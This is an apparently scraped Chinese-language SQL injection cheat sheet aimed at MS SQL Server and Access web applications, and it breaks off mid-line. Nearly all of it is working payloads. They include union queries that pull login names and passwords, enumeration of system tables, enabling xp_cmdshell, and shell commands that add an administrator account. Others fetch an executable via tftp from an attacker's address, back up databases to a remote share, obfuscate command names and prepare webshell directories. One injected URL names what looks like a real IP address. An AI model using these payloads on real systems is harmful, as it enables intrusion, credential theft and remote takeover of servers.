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| 关键词： select NAME where exec master sysobjects nbsp users dbo xp |
Sql的注射最早源于’or’1’=’1） 最重要的表名： select * from sysobjects sysobjects ncsysobjects sysindexes tsysindexes syscolumns systypes sysusers sysdatabases sysxlogins sysprocesses 最重要的一些用户名（默认sql数据库中存在着的） public dbo guest(一般禁止，或者没权限) db_sercurityadmin ab_dlladmin 一些默认扩展 xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite xp_availablemedia 驱动器相关 xp_dirtree 目录 xp_enumdsn ODBC连接 xp_loginconfig 服务器安全模式信息 xp_makecab 创建压缩卷 xp_ntsec_enumdomains domain信息 xp_terminate_process 终端进程，给出一个PID 例如： sp_addextendedproc ’xp_webserver’, ’c:/temp/xp_foo.dll’ exec xp_webserver sp_dropextendedproc ’xp_webserver’ bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar ’ group by users.id having 1=1- ’ group by users.id, users.username, users.password, users.privs having 1=1- ’; insert into users values( 666, ’attacker’, ’foobar’, 0xffff )- union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’- union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (’login_id’)- union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (’login_id’,’login_name’)- union select TOP 1 login_name FROM logintable- union select TOP 1 password FROM logintable where login_name=’Rahul’-- 构造语句：查询是否存在xp_cmdshell ’ union select @@version,1,1,1-- and 1=(select @@VERSION) and ’sa’=(select System_user) ’ union select ret,1,1,1 from foo-- ’ union select min(username),1,1,1 from users where username > ’a’- ’ union select min(username),1,1,1 from users where username > ’admin’- ’ union select password,1,1,1 from users where username = ’admin’-- and user_name()=’dbo’ and 0<>(select user_name()- ; DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C：/WIndows/system32/cmd.exe /c net user admin 123456 /add’ and 1=(select count(*) FROM master.dbo.sysobjects where xtype = ’X’ AND name = ’xp_cmdshell’) ;EXEC master.dbo.sp_addextendedproc ’xp_cmdshell’, ’xplog70.dll’ 1=( select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’) and 1=(select IS_SRVROLEMEMBER(’sysadmin’)) 判断sa权限是否 and 0<>(select top 1 paths from newtable)-- 暴库大法 and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名（从1到5都是系统的id，6以上才可以判断） 创建一个虚拟目录E盘： declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL,’ cscript.exe c：/inetpub/wwwroot/mkwebdir.vbs -w "默认 Web 站点" -v "e","e：/"’ 访问属性：（配合写入一个webshell） declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL,’ cscript.exe c：/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse’ and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 依次提交 dbid = 7,8,9.... 得到更多的数据库名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 暴到一个表 假设为 admin and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in (’Admin’)) 来得到其他的表。 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’ and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in (’id’,...)) 来暴出其他的字段 and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名 依次可以得到密码。。。。。假设存在user_id username ,password 等字段 Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union语句到处风靡啊，access也好用 暴库特殊技巧：:\=’/’ 或者把/和/ 修改%5提交 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 得到表名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in(’Address’)) and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’ and uid>(str(id))) 判断id值 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));-- http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1 ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=’HKEY_LOCAL_MACHINE’, @key=’SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/’, @value_name=’/’, values=@testOUTPUT insert into paths(path) values(@test) http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 1.1.1.1";-- 得到了web路径d:/xxxx,接下来： http://xx.xx.xx.xx/111.asp?id=3400;use ku1;-- http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);-- 传统的存在xp_cmdshell的测试过程： ;exec master..xp_cmdshell ’dir’ ;exec master.dbo.sp_addlogin hax;-- ;exec master.dbo.sp_password null,hax,hax;-- ;exec master.dbo.sp_addsrvrolemember hax sysadmin;-- ;exec master.dbo.xp_cmdshell ’net user admin 123456 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;-- ;exec master.dbo.xp_cmdshell ’net localgroup administrators admin /add’;-- exec master..xp_servicecontrol ’start’, ’schedule’ exec master..xp_servicecontrol ’start’, ’server’ http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C：/WINNT/system32/cmd.exe /c net user admin 123456 /add’ ;DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C：/WINNT/system32/cmd.exe /c net localgroup administrators admin /add’ http://localhost/show.asp?id=1'; exec master..xp_cmdshell ’tftp -i youip get file.exe’- declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ’dir c:/’ declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ’dir c:/’ ;declare @a;set @a=db_name();backup database @a to disk=’你的IP你的共享目录bak.dat’ 如果被限制则可以。 select * from openrowset(’sqloledb’,’server’;’sa’;’’,’select ’’OK!’’ exec master.dbo.sp_addlogin hax’) 传统查询构造： select * FROM news where id=... AND topic=... AND ..... admin’and 1=(select count(*) from [user] where username=’victim’ and right(left(userpass,01),1)=’1’) and userpass <>’ select 123;-- ;use master;-- :a’ or name like ’fff%’;-- 显示有一个叫ffff的用户哈。 ’and 1<>(select count(email) from [user]);-- ;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and status>0) where name=’ffff’;-- 说明: 上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 通过查看ffff的用户资料可得第一个用表叫ad 然后根据表名ad得到这个表的ID ffff’;update [users] set email=(select top 1 id from sysobjects where xtype=’u’ and name=’ad’) where name=’ffff’;-- 象下面这样就可以得到第二个表的名字了 ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and id>581577110) where name=’ffff’;-- ffff’;update [users] set email=(select top 1 count(id) from password) where name=’ffff’;-- ffff’;update [users] set email=(select top 1 pwd from password where id=2) where name=’ffff’;-- ffff’;update [users] set email=(select top 1 name from password where id=2) where name=’ffff’;-- exec master..xp_servicecontrol ’start’, ’schedule’ exec master..xp_servicecontrol ’start’, ’server’ sp_addextendedproc ’xp_webserver’, ’c:/temp/xp_foo.dll’ 扩展存储就可以通过一般的方法调用： exec xp_webserver 一旦这个扩展存储执行过，可以这样删除它: sp_dropextendedproc ’xp_webserver’ insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)- insert into users values( 667,123,123,0xffff)- insert in |
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